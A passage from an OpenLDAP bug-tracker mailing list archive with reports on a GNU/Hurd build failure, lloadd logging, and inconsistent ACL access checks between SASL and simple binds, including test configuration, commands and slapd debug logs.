LDAP_IPADDRLEN (MAXPATHLEN + sizeof("PATH=")) | ^~~~~~~~~~ request.c:859:17: note: in expansion of macro 'LDAP_IPADDRLEN' 859 | char from[LDAP_IPADDRLEN]; | ^~~~~~~~~~~~~~ Makefile:435: recipe for target 'request.lo' failed make[2]: *** [request.lo] Error 1 This is not the same as ITS#9648. I have pulled latest master and the patch for that one does not solve it. GNU/Hurd actually does not have a MAXPATHLEN constant at all; paths are expected to be dynamically allocated. See: https://www.gnu.org/software/hurd/hurd/porting/guidelines.html#PATH_MAX_tt_… This is a low priority issue for me personally. I'm just filing it for tracking. I'm hoping someone from the GNU/Hurd community might be able to work on a patch. -- You are receiving this mail because: You are on the CC list for the issue.

1 8

[Issue 6949] OpenLDAP Logging
by openldap-its＠openldap.org 31 Aug '21

31 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=6949 --- Comment #7 from Ondřej Kuzník <ondra(a)mistotebe.net> --- It seems this is limited to slapd main.c so a standalone lloadd keeps the original logging configuration/code/format. Maybe the logging code could move to a separate file so it can be shared between the two. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9657] New: Different access privileges required for SIMPLE BIND (attr: userPassword) and SASL BIND (whole entry)
by openldap-its＠openldap.org 31 Aug '21

31 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9657 Issue ID: 9657 Summary: Different access privileges required for SIMPLE BIND (attr: userPassword) and SASL BIND (whole entry) Product: OpenLDAP Version: 2.5.6 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: dpa-openldap(a)aegee.org Target Milestone: --- I configure a database with: dn: cn=config objectClass: olcGlobal cn: config olcAuthzRegexp: uid=([^@,]+)(@aegee.org)?(,cn=aegee.org)?,cn=[^,]*,cn=auth uid=$1,ou=persons,o=AEGEE olcSaslSecProps: none ####################################################################### # LMDB database definitions ####################################################################### # dn: olcDatabase=mdb,cn=config objectClass: olcDatabaseConfig objectClass: olcMdbConfig olcDatabase: mdb olcDbMaxSize: 10485760 olcSuffix: o=AEGEE olcRootDN: uid=zzz,ou=persons,o=AEGEE olcRootPW: zzz olcDbDirectory: /home/d/ldap/aegee olcDbIndex: objectClass eq olcAccess: to dn.one="ou=persons,o=AEGEE" attrs=userPassword by anonymous auth olcAccess: to dn.one="ou=persons,o=AEGEE" by self read fill the database with /usr/local/bin/ldapadd -x -w zzz -D "uid=zzz;ou=persons;o=AEGEE" -H ldap://localhost <<ABC dn:o=AEGEE o:AEGEE objectClass:organization telephoneNumber:+32 2 246 0320 street:Rue du Noyer / Notelaarsstraat 55 st:Brussels postalAddress:Rue du Noyer / Notelaarsstraat 55, 1000 Brussels, Belgium dn:ou=persons,o=AEGEE objectClass:organizationalUnit description:AEGEE members (persons) with account at https://my.aegee.eu/ dn: uid=lui.veve,ou=persons,o=AEGEE objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson sn: Veve cn: Lui Veve uid: lui.veve employeeNumber: 444 givenName: Lui mail: lui.veve@zzzz userPassword:: dXAx structuralObjectClass: inetOrgPerson ABC Its content is ( slapcat -n1 -F conf/ ) ---- dn: o=AEGEE o: AEGEE objectClass: organization telephoneNumber: +32 2 246 0320 street: Rue du Noyer / Notelaarsstraat 55 st: Brussels postalAddress: Rue du Noyer / Notelaarsstraat 55, 1000 Brussels, Belgium structuralObjectClass: organization entryUUID: 223703d3-812e-405c-b57e-4233b55847c3 creatorsName: uid=zzz,ou=persons,o=AEGEE createTimestamp: 20210830161645Z entryCSN: 20210830161645.797291Z#000000#000#000000 modifiersName: uid=zzz,ou=persons,o=AEGEE modifyTimestamp: 20210830161645Z dn: ou=persons,o=AEGEE objectClass: organizationalUnit description: AEGEE members (persons) with account at https://my.aegee.eu/ structuralObjectClass: organizationalUnit ou: persons entryUUID: 17f8ff72-250b-4cbd-873f-340aaed2f0d9 creatorsName: uid=zzz,ou=persons,o=AEGEE createTimestamp: 20210830161645Z entryCSN: 20210830161645.802430Z#000000#000#000000 modifiersName: uid=zzz,ou=persons,o=AEGEE modifyTimestamp: 20210830161645Z dn: uid=lui.veve,ou=persons,o=AEGEE objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson sn: Veve cn: Lui Veve uid: lui.veve employeeNumber: 444 givenName: Lui mail:: bHVpLnZldmVAenp6eiA= userPassword:: dXAx structuralObjectClass: inetOrgPerson entryUUID: 2e37d641-6865-4a08-87f9-b12653f52d12 creatorsName: uid=zzz,ou=persons,o=AEGEE createTimestamp: 20210830161645Z entryCSN: 20210830161645.806532Z#000000#000#000000 modifiersName: uid=zzz,ou=persons,o=AEGEE modifyTimestamp: 20210830161645Z ---- When I try to authenticate with SIMPLE BIND, OpenLDAP requests only access to the userPassword attribute: ldapwhoami -x -D "uid=lui.veve;ou=persons;o=AEGEE" -v -w up1 -H ldap://localhost/ logs: 612d04f3.27f67994 0x7f50731ac640 <= ldap_dn2bv(uid=lui.veve,ou=persons,o=AEGEE)=0 612d04f3.27f6a83b 0x7f50731ac640 => ldap_dn2bv(272) 612d04f3.27f6cbf9 0x7f50731ac640 <= ldap_dn2bv(uid=lui.veve,ou=persons,o=aegee)=0 612d04f3.27f6e92a 0x7f50731ac640 <<< dnPrettyNormal: <uid=lui.veve,ou=persons,o=AEGEE>, <uid=lui.veve,ou=persons,o=aegee> 612d04f3.27f7035b 0x7f50731ac640 conn=1001 op=0 BIND dn="uid=lui.veve,ou=persons,o=AEGEE" method=128 612d04f3.27f744d5 0x7f50731ac640 do_bind: version=3 dn="uid=lui.veve,ou=persons,o=AEGEE" method=128 612d04f3.27f77c7c 0x7f50731ac640 ==> mdb_bind: dn: uid=lui.veve,ou=persons,o=AEGEE 612d04f3.27f82a00 0x7f50731ac640 mdb_dn2entry("uid=lui.veve,ou=persons,o=aegee") 612d04f3.27f847bd 0x7f50731ac640 => mdb_dn2id("uid=lui.veve,ou=persons,o=aegee") 612d04f3.27f8a6f4 0x7f50731ac640 <= mdb_dn2id: got id=0x3 612d04f3.27f916cf 0x7f50731ac640 => mdb_entry_decode: 612d04f3.27f942bb 0x7f50731ac640 <= mdb_entry_decode 612d04f3.27f96490 0x7f50731ac640 => access_allowed: result not in cache (userPassword) 612d04f3.27f97b35 0x7f50731ac640 => access_allowed: auth access to "uid=lui.veve,ou=persons,o=AEGEE" "userPassword" requested 612d04f3.27f9ab7f 0x7f50731ac640 => dn: [1] ou=persons,o=aegee 612d04f3.27f9ccc7 0x7f50731ac640 => acl_get: [1] matched 612d04f3.27f9ddb2 0x7f50731ac640 => acl_get: [1] attr userPassword 612d04f3.27f9f63f 0x7f50731ac640 => acl_mask: access to entry "uid=lui.veve,ou=persons,o=AEGEE", attr "userPassword" requested 612d04f3.27fa0913 0x7f50731ac640 => acl_mask: to value by "", (=0) 612d04f3.27fa24a1 0x7f50731ac640 <= check a_dn_pat: anonymous 612d04f3.27fa492f 0x7f50731ac640 <= acl_mask: [1] applying auth(=xd) (stop) 612d04f3.27fa5bbd 0x7f50731ac640 <= acl_mask: [1] mask: auth(=xd) 612d04f3.27fa721c 0x7f50731ac640 => slap_access_allowed: auth access granted by auth(=xd) 612d04f3.27fa8306 0x7f50731ac640 => access_allowed: auth access granted by auth(=xd) 612d04f3.27fa9f20 0x7f50731ac640 conn=1001 op=0 BIND dn="uid=lui.veve,ou=persons,o=AEGEE" mech=SIMPLE bind_ssf=0 ssf=0 612d04f3.27fb0385 0x7f50731ac640 do_bind: v3 bind: "uid=lui.veve,ou=persons,o=AEGEE" to "uid=lui.veve,ou=persons,o=AEGEE" When I try to SASL connect, then OpenLDAP requests access to the whole uid=lui.veve,ou=persons,o=AEGEE entry: ldapwhoami -Y LOGIN -U"lui.veve" -v -w up1 -H ldap://localhost/ logs: 612d053d.03ab64b8 0x7f50731ac640 => ldap_bv2dn(uid=lui.veve,ou=persons,o=AEGEE,0) 612d053d.03abb462 0x7f50731ac640 <= ldap_bv2dn(uid=lui.veve,ou=persons,o=AEGEE)=0 612d053d.03abddda 0x7f50731ac640 => ldap_dn2bv(272) 612d053d.03abf0ad 0x7f50731ac640 <= ldap_dn2bv(uid=lui.veve,ou=persons,o=aegee)=0 612d053d.03ac070c 0x7f50731ac640 <<< dnNormalize: <uid=lui.veve,ou=persons,o=aegee> 612d053d.03ac2626 0x7f50731ac640 <==slap_sasl2dn: Converted SASL name to uid=lui.veve,ou=persons,o=aegee 612d053d.03ac68fe 0x7f50731ac640 slap_sasl_getdn: dn:id converted to uid=lui.veve,ou=persons,o=aegee 612d053d.03ac82e9 0x7f50731ac640 SASL Canonicalize [conn=1002]: slapAuthcDN="uid=lui.veve,ou=persons,o=aegee" 612d053d.03acd965 0x7f50731ac640 => mdb_search 612d053d.03ada119 0x7f50731ac640 mdb_dn2entry("uid=lui.veve,ou=persons,o=aegee") 612d053d.03adcf7a 0x7f50731ac640 => mdb_dn2id("uid=lui.veve,ou=persons,o=aegee") 612d053d.03ae10f4 0x7f50731ac640 <= mdb_dn2id: got id=0x3 612d053d.03ae33e0 0x7f50731ac640 => mdb_entry_decode: 612d053d.03ae6313 0x7f50731ac640 <= mdb_entry_decode 612d053d.03ae845b 0x7f50731ac640 => access_allowed: auth access to "uid=lui.veve,ou=persons,o=AEGEE" "entry" requested 612d053d.03aea02f 0x7f50731ac640 => dn: [1] ou=persons,o=aegee 612d053d.03aeba1a 0x7f50731ac640 => acl_get: [1] matched 612d053d.03aed0bf 0x7f50731ac640 => dn: [2] ou=persons,o=aegee 612d053d.03aee392 0x7f50731ac640 => acl_get: [2] matched 612d053d.03aef47c 0x7f50731ac640 => acl_get: [2] attr entry 612d053d.03af0c39 0x7f50731ac640 => acl_mask: access to entry "uid=lui.veve,ou=persons,o=AEGEE", attr "entry" requested 612d053d.03af2f6a 0x7f50731ac640 => acl_mask: to all values by "", (=0) 612d053d.03af45c9 0x7f50731ac640 <= check a_dn_pat: self 612d053d.03af513f 0x7f50731ac640 <= acl_mask: no more <who> clauses, returning =0 (stop) 612d053d.03af626f 0x7f50731ac640 => slap_access_allowed: auth access denied by =0 612d053d.03af7a71 0x7f50731ac640 => access_allowed: no more rules This is inconsistent. SASL bind shall also request only AUTH access to the userPassword, just as SIMPLE BIND does. Moreover, https://www.openldap.org/doc/admin25/access-control.html#Basic%20ACLs does suggest: Generally one should start with some basic ACLs such as: access to attrs=userPassword by self =xw by anonymous auth by * none access to * by self write by users read by * none So the suggestion is to grant "by anonymous auth" access only to attrs=userPassword , before granting any other access. If I change to olcAccess: to dn.one="ou=persons,o=AEGEE" by self read by anonymous auth then both SASL BIND and SIMPLE BIND work. Version 2.5.7-g22d1c5954e8629b. -- You are receiving this mail because: You are on the CC list for the issue.

1 7

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs